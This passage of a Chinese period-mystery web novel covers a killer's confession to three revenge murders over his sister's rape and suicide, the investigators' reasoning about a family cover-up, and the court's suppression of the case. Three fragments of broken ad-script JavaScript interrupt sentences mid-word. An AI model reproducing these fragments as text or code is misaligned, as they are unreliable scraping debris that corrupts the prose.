“你二儿子,根本就有病!他不近女色却道貌岸然!从娶了我姐姐,除了洞房那天他碰过我姐姐之外,其他时间再无恩爱!那孟秋堂,孟秋堂……他居然形容我姐姐像处子一样……”何慕卿眼中流出泪来,惨笑道,“哈哈哈哈,我可怜的姐姐,就这样被夫君的亲弟弟和同伴,在夫君的默许之下□□了。你知道我姐姐当时的叫声有多凄厉吗?她大声求救,希望身在窗户外面练剑的夫君救自己,可是孟秋帆呢?他继续旁若无人的练剑,他根本就没有把我姐姐当做是人!” 脑海中想象出画面,我捂着心口退后了两步。谢宁轩仍扶着我,虽然他的手也不易察觉的抖着。 孟老更是难以自已的摇着头,身形晃动如落叶。 何慕卿伸出手,眼睛带着泪光,看向假想中的物件,喃喃自语:“那玉佩……双月环形扣,那是我母亲在姐姐及笄之年请能工巧匠为姐姐做的陪嫁,希望姐姐嫁给如意郎君,就像月牙和弯月相嵌合那样恩爱。得知与孟府定亲,能嫁给传闻中的英武美男,姐姐多么高兴?可是姐姐的郎君,不但抛弃了她,还将姐姐的玉佩随手给了孟秋堂,任由他将玉佩和方向杰一人挂一半,招摇过市。呵,我之前看到他二人佩戴这饰物,还以为只不过是同样的东西,根本没有想过那居然就是姐姐的陪嫁玉佩!” 这样的真相实在太令人心惊,一时间,屋内只余下何慕卿凄厉的惨笑声。 最后还是谢宁轩低沉着开了口:“孟秋堂三人都对你姐姐有此……按理说见到你应该绕道走,为何你杀了孟秋堂,张海邦居然还帮你隐藏?” 何慕卿轻蔑一笑:“张海邦!那个小人!他是第一个发现我在隔壁听到对话的人,他却没有告知孟方二人,而是跑来问我要不要复仇。他说那晚他没有对我姐姐实施暴行,他只是围观,并没有参与,这也是为什么只有孟秋堂和方向杰分挂着玉佩,因为只有他们两个实质参与了。张海邦居然还说他也想杀孟秋堂和方向杰,说我若想复仇,他可以帮我。” “帮你什么?” “杀方向杰。” “方向杰是你和他共同杀的?” 何慕卿撇嘴,漠然的回答道:“张海邦故意告诉方向杰,我已经知道了这件事要报仇。方向杰那人还算有几分胆量与魄力,一听就想去自告。但张海邦说一旦事发,他方家将身败名裂,迫得方向杰不得不听他的,先躲起来。” 原来打架之后我回家路上看到的二人对谈,竟就是死神在敲打方向杰。 “张海邦安排他躲进了青城县。那厮才去打过猎,知道那里少无人烟,还有个猎户破屋,便于下手。当晚,方向杰喝下有迷药的水,我取走他的玉佩后,就放火烧死了他。” “下迷药、放火。方向杰既然是这样谋杀的,你后面为何又改变手法?” “呵,那张海邦倒是想安排我悄无声息毒死孟秋堂。”何慕卿呵呵一笑,“毒死?岂不太过便宜?我得让孟秋堂得到报应,得让他体会我姐姐的痛苦,我怎么可能便宜了他!张海邦还咄咄逼人,逼我按照他的设想杀人,真是可笑,所以我也打了他!” 挡路、出言不逊挨打,果真只是幌子。 孟老伸手指向凶手,可巨大的震撼冲击着他,他的手指抖得停不下来。 何慕卿压根没理他,自顾自讲下去:“放榜那晚,张海邦先借故引孟秋堂离开宴会,离开人群,好让我下毒,他还一个劲给我使眼色?可笑,我才不理会!趁张海邦被老师叫住问话,我立即上前告知孟秋堂,我知道了实情,那败絮其中的草包吓坏了,主动引我到后院,竟想买通我!真可笑!那是我亲姐姐,同胞亲姐!她才十九岁,芳龄正好,就被他害死了,他竟还有脸提原谅,想买通我?” 何慕卿的眼中透出异样的红色光芒,“十九岁,那我就捅他十九刀!为了防止他的叫声引来同窗,我便先割喉,再一刀刀扎穿他!我要报仇,我要报仇!” 怪不得,怪不得凶手清清楚楚的记得自己捅了多少刀。比起激情杀人,十九刀的意义,显然重要得多。 “捅死了,捅死了!张海邦赶来,已来不及阻止,他只好偷了一身干净衣服,叫我更衣。我还没扯下姐姐的玉佩,就被张海邦拉进了藏书阁。” 原来如此。我就说凶手既然谋划妥当,为什么不早些准备衣服,书院同窗竟是案发当晚才丢失院服。原来被仇恨冲昏了头脑的何慕卿根本就没有万全的计划。 那么,血衣与嫁祸之策,都是张海邦谋划的了? “我告诉你们!我对于被抓不被抓,根本不在意!我本不想理会张海邦所言,但是我突然意识到,张海邦还活着,孟秋帆还活着。”何慕卿眼中是浓厚的恨意,“对,对,我不能死,我不能被抓!所以我就听了张海邦的安排,将血衣换下,准备待会儿带出去。可是没想到宁辕却进来院子,还发现了尸体!张海邦那厮学习不用功,在作恶上脑子倒是好用的很,他马上就想到了脱身与嫁祸之计,立即出声唤人。” “那么赖三,也是他找的了?” “嗯,他说找人传播的越快越好。”何慕卿转向孟老,仇恨之色未减分毫,“又故意声情并茂的通知了你,就是想借坊间流言和你的手施压,逼谢府丞快快结案。” 孟老死死的盯着何慕卿,眼里血丝蹦现。 谢宁轩眉头再次皱了起来:“宁辕与你是至交,你却任由张海邦设计嫁祸他?” 从被抓就神情暴怒的何慕卿,唯有面对这个问题时,有片 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刻的消沉。但其实,次日一早他就去了王府,追问二公子的情况,不是吗? 何慕卿冷淡道:“我会自首的,杀了孟秋帆,我就自首。宁辕那边,是我对不起他。” 谢宁轩也没再追问,只道:“你接着讲吧,如何杀了张海邦的。” 何慕卿脸上又出现了异样的血色:“张海邦那小人,他想借我的手除去孟方二人,真是愚蠢!我在杀孟秋堂的时候,就已经决定了,他也得死,一样得死。他根本没有自己说的那么干净!这三年里他有无数次机会向我坦白,可他借势压人、寻花问柳,哪有片刻的悔意?无非是方向杰对他的过分之举已忍无可忍,多次警告他再不收敛就要动用关系将他爹罢官,他知道方向杰没有夸大其词,他的家世真有这本事。所以他恨,恨方向杰明明干了那龌龊事,却装的一副白莲花的样子,整天不允许他干这个不允许他干那个!他觉得方向杰是个伪君子!” 我沉默着,不知道该不该认同。 谢宁轩亦低了低眼帘:“方向杰可能是真有悔意,张海邦防备他、恨他,可以理解。但孟秋堂并无后悔,平日里也没少和他一道去那烟花柳巷,张海邦为什么要杀孟秋堂?” 何慕卿呸了一口,对张海邦的小人行径十分唾弃。 “谈不上什么恨不恨,他对孟秋堂毫无情谊,巴结他只是看重孟家地位,这三年仗着有他,也确实过得快活。但他的家世不如孟家,手头哪有人家松快?找乐子时常向孟秋堂借钱,有时候孟秋堂也烦了,就损他几句,他早就心有不满了。” 竟然还有金钱的瓜葛,这张海邦,真是个人渣。 “杀了方向杰和孟秋堂后,他就露出了真面目,要我给他五千两做封口费。他以为帮我了了心愿,我就会任他摆布,他就是我的恩人了?真是可笑!”何慕卿脖子上的青筋爆了出来,“我恨不得吃他的肉,喝他的血,怎么可能给他钱!” “所以你假装答应,骗他上了锦业寺?” 何慕卿冷漠点头。 是了,案发次日我见到对话的二人,就是何慕卿在诱导张海邦去锦业寺。 “为什么要选择在那里?” 何慕卿凄苦的弯了弯嘴角:“姐姐……姐姐生前最爱去锦业寺求签。她总说,签文预示她能嫁的如意郎君,她心悦得很。就连双月环形扣,她都让母亲去锦业寺加持。所以,我就要在那里让他血溅三尺,告慰姐姐的亡灵!” 我不自觉流下泪来。 一个期待着命运眷顾的女子,一个期待着夫妻恩爱的新娘。夫君的冷漠已经让她失望不已,可如何能想到,竟还有被抛弃、被玩弄的命运在等着她。 孟秋堂他们三人是凶手,孟秋帆何尝不是毁了她的凶手?还有这未曾谋面就定亲的父母之命、媒妁之言,所谓的高嫁,所谓的名声,哪个不是凶手? 我打了个冷战,不知道是为她已经逝去的生命,还是为我已经陷入这个时代的现状而悲哀。 “那晚,我把他引上丛林小道,在林子里杀了他,十九刀,他也要承受十九刀!可是夜色太深,我竟然丢了姐姐的玉佩!” 何慕卿的声音有些微的哽咽,他抬头望了望天,似乎在寻找姐姐的在天之灵。 “等我发现的时候,我已经换好了一切衣着下了山。我到底还是无法让姐姐瞑目……” 说着,他又望向孟老,脸部扭曲起来,“因为我杀不了真正的凶手!我杀不了孟秋帆!当我听说孟秋帆真的回来了,我简直高兴的都要发疯了,没想到这居然是个圈套!你们告诉我!告诉我,孟秋帆到底在哪里!我要杀了他!” 91.陪嫁 何慕卿的自白到这里就告一段落了。 当浮生押着他回府衙的时候,我和谢宁轩站在孟府外,难以平静。 孟老病倒了,里里外外进出的太医脸色都很难看。孟秋帆远在千里之外, 还不知道孟府发生了这么大的变故,亦不知道他曾经不为人知肮脏的过去,将会在不久之后呈在圣上的眼前。 即便他曾武举中第,即便因身份地位而极受军方重视,他的大好前程,也会因为他低劣的人品大打折扣。 而何慕卿的人生,也随着他的复仇,彻底葬送了。 有人说,死去的亲人一定会希望活着的人幸福,而不会要求亲人牺牲未来为自己报仇。 这句话我同意,因为我相信爱一个人就会希望他好。 何小姐在如此侮辱之下,选择投湖自尽,一个人承受这痛苦,我知道她一定是不希望自己的亲人为自己的事情流泪,为自己报仇而耽误了他们的人生。 可是活着的人如何能轻易忘掉这份仇恨?它就像刻进骨头里的血肉一样,黏在自己的心上,时时刻刻提醒着自己。 何慕卿不知道也就罢了,他和孟秋堂三人每日出现在学堂之上,即使瞥见了与姐姐同款的玉佩,也平静的度过了三年。甚至他还会自责不该因情绪牵连孟秋堂,还有着缓和关系的念头。 可是当他知道姐姐承受了如此大的屈辱和痛苦之后,他又怎么可能笑谈人生,将一切都看淡? “何慕卿,会判处什么……” 谢宁轩语气低沉:“杀了三个人,理应是斩立决。不过这么大的案子,刑部是没有死刑权的,要交给圣上核准。” “这么说,”我带着一丝希望,抬头看他,“何慕卿也许不会死?” 谢宁轩偏开眼神:“三条人命,纵然此情可原……” 余音中,我二人都沉默了。 三年前的卷宗只有一些疑点,玉佩也只能作为佐证,事实上没有证据证明当时的暴行。三人已死,如今,只有将仅剩的当事人招进京,才能了解案情。 但若孟秋帆一意否认,似乎也没有什么办法指证他。 “其实,我们也许可以帮一帮何慕卿。”谢宁轩忽然说道。 “怎么帮?” “孟府东厢如此破败,应该是孟秋帆去边疆述职之后,疏于打理造成的。可是孟府这么多丫鬟小厮,为什么没有人打扫东厢?不可能是因为何小姐的死吧?她死于湖中,并不是房里,又是自尽,按理说孟家人不知情的话,应该没有多少避讳。” “你、你的意思是……孟家人知情?”我眼皮一颤,难以置信。 看刚才孟老的神情,他明明不晓得啊。难道他演技这么好? “通常来说主持一府内务的都是当家主母。那天他们三人□□何大小姐,后者奋起反抗,不可能毫无动静,孟夫人必是被惊动了的。许是为了保全儿子,孟夫人将事情掩盖了。看来孟老,应该也被瞒着了。” 心中激荡,我忽然想起:“刚才何慕卿说那对玉佩是他姐姐的陪嫁,孟秋堂和方向杰就这样大张旗鼓的带在身上,孟夫人为什么不制止?” 谢宁轩沉思片刻:“我想,可能是这对玉佩的来由,孟夫人确实不知道。何孟这桩婚事,于何府来说,确实算是高攀。但何小姐到底也是官宦人家的大小姐,陪嫁少则数十车,多则上百,孟夫人不可能一一过目。而且,这种夫妻之间的玉佩,应该是由新娘子在新婚当晚亲手交给夫君。依何慕卿的话,他们夫妻二人感情很一般,孟秋帆恐怕根本没佩戴过这枚玉佩。” “夫君不戴,何小姐自己戴着也没意思,所以孟夫人就不曾见到过这两枚玉佩。”我明白了,叹息着续道,“何小姐死后,孟秋帆将这玉佩随手扔给弟弟,他不重视自己的妻子,妻子于他都是可有可无的,更遑论两块玉佩。” 但我还是觉得很离谱,“可孟秋堂和方向杰又为什么要戴?他们害的人家姑娘投湖哎!还招摇的戴着玉佩,不怕夜里冤魂索命啊!” 谢宁轩眼神睨来:“你不是不信鬼神之说吗?” 我冷哼一声:“这个案件中,我信!我就希望何小姐在天之灵天天诅咒孟秋帆!不死不休!” 谢宁轩弯了弯嘴角,这才回答我的问题:“我想,他二人带着玉佩,应该是孟秋堂要求的。” 我旋即也理解了,点头道:“嗯,因为综合表现,方向杰是有后悔之意的,当时做出这荒唐事,八成还在酒醉中。清醒之后肯定无法接受,或许当日就有自首之心,正如现在他知道何慕卿知晓此事后的反应一样。” 从每每触碰女子便引发应激反应来看,这件事梗在方向杰的心头,也是他无法原谅自己的可怖回忆。 他没有去自首,显然是为了保全家人的名声。可他的这种矛盾心理,对孟秋堂和张海邦来说,太危险了。他只有天天带着这个玉佩,才会被时刻提醒着,曾经犯过怎么样的错,才会安心的呆在小团体中间,闭上嘴。 这也能解释,为什么方向杰成绩下降、疏远二公子、包庇张海邦,恐怕一切的源头,便是这枚玉佩。 但无论如何妥协,如何自暴自弃。三年后,方向杰还是付出了血的代价。 郁郁片刻,我想起了垂云垂柳说过的八卦。 “你刚是不是想说,孟夫人在事后遣散了丫鬟,并以死人不吉为由将东厢封锁,所以才会废弃?而我们,可以找到这些丫鬟,证实当日一事?” 谢宁轩却淡淡摇头:“未必这么容易。如此丑事,说出去孟府的名声就完了。孟夫人不会冒险,所以她遣散的肯定是外围的丫鬟小厮,就算有所耳闻,也不知道事情的详细过程。而当日在场看到听到的下人,孟夫人不是重用彻底收为心腹,就是……” “杀了!”我接过话头,心里冒出丛丛怒气,“他们居然杀人灭口!” 谢宁轩无奈叹息:“丫鬟小厮如签了身契,生死都在孟府手中,就连我们府衙,也无权过问。” “那、那岂不是没有办法了?”我有些失望。 “只能先从两条路下手,一是寻找三年前被孟府遣散出来的丫鬟小厮,看看能不能发现些端倪,同时再去询问三年前的衙差和仵作。另一条路,就是从何小姐的陪嫁丫鬟下手。” 陪嫁?对啊!陪嫁! 何府小姐嫁人必有陪嫁丫鬟。在偌大一个孟府中,只有陪嫁丫鬟贴身相伴,全心全力帮着主子。那日发生暴行时,也许她们还曾冲进去相救,却仍旧不曾挽救主子的清白和性命。 我心里一沉,这陪嫁丫鬟,孟府一定不会留活口啊。 谢宁轩仿佛看到我心里所想,亦道:“新婚半年骤然自尽,官府一定会问起陪嫁丫鬟,卷宗里不曾记录其殉死,那就说明陪嫁丫鬟至少在当时还活着,且能接受官府询问。但没有说出实情,只可能是两种,要么以重金收买,要么以家人相威胁。” 我听明白了,但也发现了其中bug。 “官府查问时,她们必须活着,才能消除疑点,这符合逻辑。但此事过后,孟府能允许她们活下来吗?她们的存在,对孟府可是太大的威胁了啊。” 谢宁轩点头:“没错,这也有可能。” “那、那怎么办?” “就看陪嫁丫鬟的身契在何处了。如仍在何府,未给何小姐出嫁带走,何府就可以丫鬟私逃为由告官,我就有理由进入孟府核查了。”谢宁轩顿了顿,“你放心吧,不管何府愿不愿意追究,我也会将何慕卿今天的陈词原封不动的上报给圣上,只要圣上下达了搜府的决定,不怕找不到线索。” 我心里一喜,可是很快,我又担心起另一个问题。 “可是,可是孟老不是七皇子的娘舅爷吗?七皇子会不会出面保下孟府?” 谢宁轩淡定多了:“七皇子年幼,还住在宫中,与娘舅爷的来往也是有限的,感情能有多深厚?他的生母病逝后,圣上就安排他由太后亲自教养了。太后睿智,无论眼界、手腕,都是一流。此事过于难堪,圣上一定不会宣扬,但只要有意贬斥,太后就能敏锐察觉,又如何 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会让膝下孩子趟这浑水?” “可你……”担忧丝毫未减轻,我在意的,不止这一点。“案件查察阶段,你作为府丞一直深入,这没问题。可查出结果后,明知孟老与七皇子的关系,仍据实上报,圣上会不会认为你……” “顽固不知变通?死板不近情理?”谢宁轩接过我的话头,一拂袖子,孤高傲气尽显,“我查案向来如此,不偏不倚,定要挖个水落石出,圣上岂会不知?孟秋帆近来于军中颇受重视,立下军功怕就要晋升了。此人能做出如此有违常理之事,性情之扭曲,可见一斑。圣上听说实情,恐怕会觉后怕,还得谢我让他看透此人面目,规避用人风险呢。” 听他口气之成竹在胸,我稍稍松了口气。 然而心头还是压抑,我也忍不住啐了一口:“你说得对,孟秋帆做出这等事,真的不配为人!他就算不喜欢何小姐,可毕竟是他的妻子,他为什么任她被人凌辱啊 ?简直匪夷所思!” 谢宁轩也沉下脸:“这一点目前没有任何线索可查,孟秋帆到底出于什么样的心理,恐怕只有他自己知道。而且,即便此案能有昭雪一日,恐怕动机,圣上也会亲审,不会允许坊间有所传闻。毕竟,这样的丑事实在太阴暗了。” 我有些失望,却也知道谢宁轩所言无误。恐怕我永远不可能知道这个秘密了。 晚风袭来,轻俏如抚,我的心头却无比的沉重。 夫家显赫,未婚夫更有英武美男的美称,何小姐在待婚时,或许闺中密友还谈笑着羡慕她,以为这将是多么美好的童话结局。 而当她穿上那袭红嫁衣时,又是抱着如何美好的想象与憧憬;当交杯酒过,她将从锦业寺求来佛法加持过的双环玉佩递给夫君,又是多么的羞涩与期待? 仰慕着的人,幻想中的爱情。 可半年后,举目环视,唯有冰冷的湖水,能安抚她破碎的心。连带着生命,都只是场笑话。 她不该如此。 我越发觉得悲愤。 明明是她被辱受欺,传出去只剩模棱两可的谈资。明明罪魁祸首清清楚楚,却能在高门大户的庇佑下,仿若无事发生。 孟秋堂日日戴着玉佩,在学堂毫不避讳,他就没想过,何慕卿会认出,继而发现真相吗? 发现又如何?金钱、权势,哪个不能摆平? 孟秋堂在听到何慕卿质问后,不就是这个反应吗?高高在上的地位,他惯于俯视众生,又如何能把别人的痛苦放在心上? 何慕卿为什么激烈的采取杀人手段,为什么不能诉诸公堂讨个公道? 恐怕他也深知,孟府树大根深,凭自己骇人听闻的说辞,动摇不了分毫。 恐怕亦在于,姐姐的遭遇,他也无法公之于众,任世人评判。 吃人的社会,这的确是个吃人的社会! *** 如谢宁轩所料,在他将卷宗呈递上去的第三天,羽林军包围了孟府。搜查整整两日后,带走了两马车东西,都用黑布裹着。随后传来的消息就是,圣上传召远在边陲的孟秋帆速速回京。 这样看来,孟府中恐怕是搜出了一些见不得人的东西。 何父在得知爱子杀人之后,是真的病倒了。起初,他知晓动机悲愤交加,甚至向谢宁轩下跪请求将孟秋帆绳之以法,并找到了陪嫁丫鬟的卖身契,表示全力配合。 但圣上召见之后,他就闭门不见客,而谢宁轩接到的旨意则是,案件到此为止,不允许再查问任何相关事项。 饶是一向冷静自持,谢宁轩在接旨后还是怄的吃不下饭,思索片刻,他就入宫了。 许是知道这个侄儿的固执,圣上也干脆躲了起来,留谢宁轩吃了个闭门羹。一向喜欢他的太后倒是安抚了几句,似是也听闻了个中详情,然说辞模糊,会不会钉死孟秋帆的罪行,到了也没落定。 而就在我离京前,更有坏消息传来。 是的,没错,这桩案子过后,我就离开了京城。 起因,是来自金华的一封信。 92.沈渊博 白马书院案后,秋风降临,随着萧瑟席卷京城,坊间的闲言碎语也早就上了新。 收到金华信件的这日晌午,我正陪着郡主在首饰店挑礼物,为未来嫂嫂选进门礼。 她兴致勃勃,我意兴阑珊;她絮絮叨叨,我沉默寡言。 不是我故意扫兴,实在是心情沉重,乐不开怀啊。 明明与何小姐从未谋面,过去卷宗中对她的描述,更是寥寥数语。可不知为何,她的形象,就是清晰而生动的,出现在我的梦中。 彷佛能听到蒙蒙清晨中利剑出鞘的细微声响,彷佛能感受她内心的彷徨与失落。婚后夫君即离家,她安分守己、侍奉公婆,期待着高大英俊的夫君休沐归家,这便是诺大府邸中,她唯一能做的事。 可真等来期待中的他,想象中的欢愉与温存落空,唯剩冷落疏忽。 她不解,失望,这便也罢了。然而她怎能预测,竟还有命运之手陡然的作弄,十九芳华,终成尘土。 我知道,这些场景、心声,从未落到任何纸面上。一切,都只是我自己的臆想。 可具象如她,升腾来看,或也是我,或也是你,或也是这个朝代下,封印着的任一女性。 “王妹妹,王妹妹,你想什么呢,快看镜子里!好不好看?” “啊,什么?” 硬被拽回思绪,我这才后知后觉的发现,郡主按着我坐下,是为了拿我当模特。镜中,正是巧手垂云梳成的堕云髻,在一个个金玉发饰奢华的映衬下,桃腮樱口,两眼无神。 我摇了摇头,把飞向太空,回到21世纪呼吸自由空气的自己拉回来。 挤出点笑容,我侧头问:“好看是好看,但郡主选的是不是太华丽了?我观霜玉妹妹喜好,日常似是偏爱素雅清淡的款式?这些造型繁复的,都可以婚礼上用了,不是说嫁衣饰物,按习俗需由女方准备吗?” 郡主朝旁边一个竹筐子里一指,嗔道:“送给她平日带的,我早都挑好了!你想什么呢?进来之后就走神!你头上这些呀,是给你选的!” “给我选的?”我懵了。 “是啊,我看你平时带的首饰,要么就是京城不流行的,要么就不够贵重。就几只金玉的,是你来京城,齐王妃才送的吧?那哪行啊,到时候搭配蜀锦,必得簪上最新最好看的首饰,才符合身份嘛。” 这话说的我更糊涂了:“身份?什么身份?” “啧啧,”郡主俏眉一蹙,“当然是我御青王府二小姐的身份啊!认了义妹,你可不就是我的妹妹,正儿八经的二小姐了吗?仪式上,当然要风风光光,才好进门嘛!” 我听得目瞪口呆,更被她最后一句雷击:“风风光光进门……郡主,你这什么措辞啊!太歧义了吧!” 郡主也反应过来,哈哈大笑:“义妹,也是我王府的人嘛,一样,一样!” 额,真要认亲?当日不过略略提及,怎么还来真的?听郡主这意思,怎么着,还要办仪式? “废话嘛,你当我哥哥言而无信?”郡主白眼斜过来,“要不是之前哥哥太忙,早都办了!尤其江瑟楼,你又救了我一次,这仪式我们王府,无论如何也得办的宏大!” “不用了吧……” 郡主摆摆手,在我的发髻上挑挑拣拣:“不用什么不用!行了,这事你不操心了,哥哥已经请钦天监选日子去了,有了准信儿通知你。只是……” 话音一顿,她忽地抬起眼帘,目光凿凿,“你最近怎么了?懒懒散散的,和之前不一样。嗬,与宁轩哥吵架了?” 心口一滞,如鲠在喉,灰暗不期而至。 “还真是啊……”似从我的沉默中探得了答案,郡主撇撇嘴,“我说宁轩哥怎么也不太有精气神儿呢,见了几次都神情悒怏。那天还来问我,你是不是在金家被难为了。” 我一惊:“啊?那你怎么说的?” “如实说呗。金夫人不是对你挺友善的吗?她也没怪罪你呀。” “是,是,她没有。”我立时点头。心里却在想,她也是被压榨的不自知的受害者,句句安抚,于我,却也句句是冲击。 “王妹妹,那你到底怎么了?为什么吵架?” “没、没什么呀。”我唯有搪塞,“这不是、这不是入秋了吗,人懒懒的。” “嘁,这是什么鬼借口?你呀,就是想太多,和宁轩哥真真儿一个模子!那天我还听见哥哥劝他,好像是他被言官参了,哥哥劝他别当回事,哪还需要写封奏章特意去解释,有那必要么!” “参了?他被参了?为什么?”我立即就问,心提了起来,都没注意,自己声线都拔高了。 郡主露出坏笑,凑近来调侃:“嘿,不是秋日懒懒吗?怎么突然来劲儿了?” “哎呀,郡主!” “嘻嘻嘻嘻,”郡主捂帕轻笑,眉眼俏丽,“放心啦!宁轩哥可是圣上最喜欢的小辈之一,这次不就因为白马书院命案,给他升官了吗?” “他晋升了?” “是呀,刑部左侍郎 !前天下的旨,你还没听说?” 见我摇头,郡主又道,“其实云锦案办的漂亮,圣上当时就有意调他去刑部,是他自己要来做府丞的嘛。刑部一直缺少左右侍郎,尚书周老年事已高,否则也不能屡屡让周达尹代办公差呐。这次江瑟楼案,周老尚书不是干脆致仕回乡了吗?圣上就让宁轩哥暂居左侍郎,代尚书之职。” 一部左侍郎,这可从二品了。 郡主也露出眉飞色舞的自得,“那是!哥哥说,这是圣上寄予厚望呢!只等他履历再丰厚稍许,就升他当尚书!那宁轩哥可就不是大青最年轻的三品官,要成二品官啦!” 厉害。我在心里默默赞叹,同时也忍不住猜测,这个时点升官,真的只因他优秀? 白马书院案在圣上的授意下,杀人动机不曾外泄,三年前的旧案更是丝毫不准再提。那这三条人命,就只能归结于何慕卿对他们的嫉妒,归结于凶手本人是个变态。 谢宁轩在查案上一向孜孜不倦,当年云锦私贩案由宗室谋划,他都丝毫不惧,谁的面子也没给,硬生生啃下来这个骨头。而如今,圣上不由分说就想让他闭嘴,哪有这么容易? 美其名曰奖励而升官,其本质,是想调他离开直接查案的核心部门吧。 刑部一向只有复核权。何小姐三年前投水轻生,以自尽结案,不涉刑案,连刑部大门都迈不进。看来圣上这是打定主意,不让谢宁轩深入调查了。 专注于思考,我没顾得上表情管理,被郡主捕捉到,扑哧一笑:“行了,别担忧了,瞧你那眉头皱的!我都说了升官!言官参什么,都没关系了嘛!你呀,和他闹别扭,得是嫌他许久没去看你了?他近来也忙嘛,体谅一下啦!听说也为谢宁辕忧心呢。” 我听的实在难堪,正想好好解释一下,让郡主别再误会,至少别哪壶不开提哪壶。但听到最后一句,还是不免惊讶,偏离了主题。 “为二公子忧心?他又怎么了?” “听说是今年年考成绩出来,不太理想,整日郁郁寡欢。宁轩哥着意鼓励他,一次没考好不代表什么嘛。但他好像还是提不起精神。” 咦,是哦。这话一说,我也意识到,书院案后,二公子的确只来过我家一次。一改之前的欢悦活泼,无精打采、垂头丧气,悒悒瞧着我,也不说话。 当时我只以为他伤感于好友们的遭遇,加之我自己心情也不好,便没多问。可现在想来,又感觉似乎不止于此。 比起感怀,他分明流露出的是对什么都提不起兴趣的惆怅。 怎么了,他这是怎么了? 琢磨不透,我又联想到打架那日没听完的八卦,索性向郡主打听起来。 郡主新挑了两只步摇,正往我发髻上插,闻言手一抖,差点戳到我的脑袋。 “沈渊博?”郡主美目圆瞪,飞快地瞥了一眼外面,店家被侍卫拦着,正踮脚往里瞧。“你问这个干什么?” “听说白马书院那个陈先生,取得金科状元的经过非常传奇,是和这个叫‘沈渊博’的人有关。我好奇呗,你知道的,我记忆不是丢失了嘛。”卖个惨,我拉住郡主袖子嘤嘤撒娇。 郡主无语赐我个白眼,但还是为我解答了。 “沈渊博案,是先帝时期的大案,因为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 关系到高岭之变。这么些年,鲜少有人提及——高岭之变,你知道的吧?” “嗯嗯,知道。我听二公子说,沈渊博是在高岭事变平息之后,被查出暗中勾结废后胡氏叛乱,因此满门获罪。” 郡主凝重颔首:“是这么回事。此案过去了这么多年,又关系重大,谁能想到,圣上在那次科举中,竟会旧事重提呢?莫说考生,礼部官员都吓坏了。” 原来,不止出题突兀、不按旧例,就连整场殿试的监考,圣上都是亲自坐镇,未曾离去。完考后,圣上也一反常态,直接就在大殿上翻阅试卷。 所有人大气不敢出,就看圣上翻翻翻,忽然停了,抬起头来高深莫测毫无表情,举着陈尧昇的卷子,淡淡问他是否真的质疑先帝。 而陈尧昇,就在众目睽睽下,冷静起身颔首。 随后,圣上便招他入宫,据说长谈了一天一夜,出来时,他已被钦点为金科状元。然,一片哗然之际,他却入了白马书院,说已获得恩典,可不入仕而久居学堂。 此消息一出,朝堂、坊间,更是议论的沸沸扬扬。 而殿试过后数日,圣上就下旨重新调查沈渊博一案。几月后,便平反了沈家。 “等一下,平反沈家?为什么?为什么单独调查他一个,而不重查高岭事变的其他逆党?” “因为沈渊博和其他逆党不同。听说当时叛乱平息,逆党皆伏法,所有人都以为局势稳定、案件终了了,却突然爆出他是落网之鱼,更是胡氏叛乱的首要谋臣之一。先帝大怒,严刑拷问,随后便被满门抄斩。京城再次陷入人心惶惶,都怕风云再变!因而较之他人,沈渊博才成为逆鳞,终先帝一朝,无人敢置喙提及呢!” 竟然还是这样。 可,这还是讲不通啊。 既然当年核查叛乱已经牵连无数,为什么沈渊博却是在完结后才被爆出?如果当年他的叛乱是冤案,那被血洗的其他人,有无冤屈? 从传奇来看,殿试有违往常,之后便重启调查,说明此事起因绝非殿试,一定早有谋划。圣上敢在殿试上公然提起此案,说明对调查结果乃至最后的平反是有信心的,否则若是调查出来果然是叛乱,岂不是闹了个大笑话,引天下人议论吗? 那么,圣上一定事先看过卷宗,甚至已经暗中调查了。那他是核查了整个高岭之变,并发现其中有一人冤屈?还是就冲着沈渊博其人而开展的调查,并不涉及其他叛乱贼子? 如为前者,圣上缘何要调查二十多年前的叛乱,那年圣上也未弱冠,久居深宫,应该对此事不甚了解。 如为后者,那么多世家,那么多参与的人,即便沈渊博被查出的时间不同于旁人,到底也是叛乱的一份子,为何单独拎他出来平反,此人有什么特殊吗? 还有一点,如按照我推测的,此事早有谋划。那二公子所言,“考生无人知晓人人自危”“唯陈尧昇敢答实话”,能是真的是吗?二十多年前的旧案,陈尧昇当时还没出生,又怎么可能知情? 我想起孟秋堂的调笑之词,似乎暗示陈尧昇得到消息是因为继皇后姑母,难道…… “这怎么可能!”郡主翻了个白眼,“继后是四年前封的,那时早就完成平反事宜了。” 咦,不是因果关系? “至于他夺得状元桂冠后却自请去书院教书,哥哥说,也是他自小的心性使然。醉心诗书,才名在外,一向被家中寄予厚望。他本人却不愿进入庙堂,是个不喜黄白之物、不喜官场噪杂浑浊的淡泊君子。这些年,陈尧昇安心教书,也没再发生什么传奇,此事便不了了之,不再为人所谈及了。” 哦?故事到此就结束了?虎头蛇尾嘛。 我琢磨着,还想再深问,郡主却已甩帕,安排侍女结账,准备换成衣铺子再战。关系到认亲仪式我要穿什么版型的裙子,郡主真是认真挑了整整一下午,足足逼着我换了几十件,才肯落定。 等选好版型,安排送去御青王府,再定了绣娘来我家量体的时间,天都黑了。 我就这么拖着疲惫的身体回到了家,推门而入的下一秒,却定住了。 是谢宁轩,他又来了。 93.齐王 依旧是坐在院中石凳上,依旧是孤寂清冷的身影。少了夏日炎炎之风,衣角的翻飞,在足边落叶的映衬下,散发着颓唐的气息。 心神轻悸。 我清晰的感知到,他正陷入在深深失望中。 “羽书,你回来了。”听到脚步声,谢宁轩起身朝我微笑。 挤不出的梨涡,眼中灰蒙蒙。不对劲,他不对劲。 “你怎么了?”我没忍住,还是问了出口。 垂下眼帘,谢宁轩幽幽叹了口气:“孟秋帆入羽林军效力了。” 如一瓢水砸入热油,我被炸得差点跳起来。 “入羽林军效力?怎么会!你不是推测说,至少会被革职永不录用吗?” 谢宁轩面色不虞,闷声道:“一语成谶。谁能想到,他回京前,竟那么巧,真立下个军功。” “军功?” 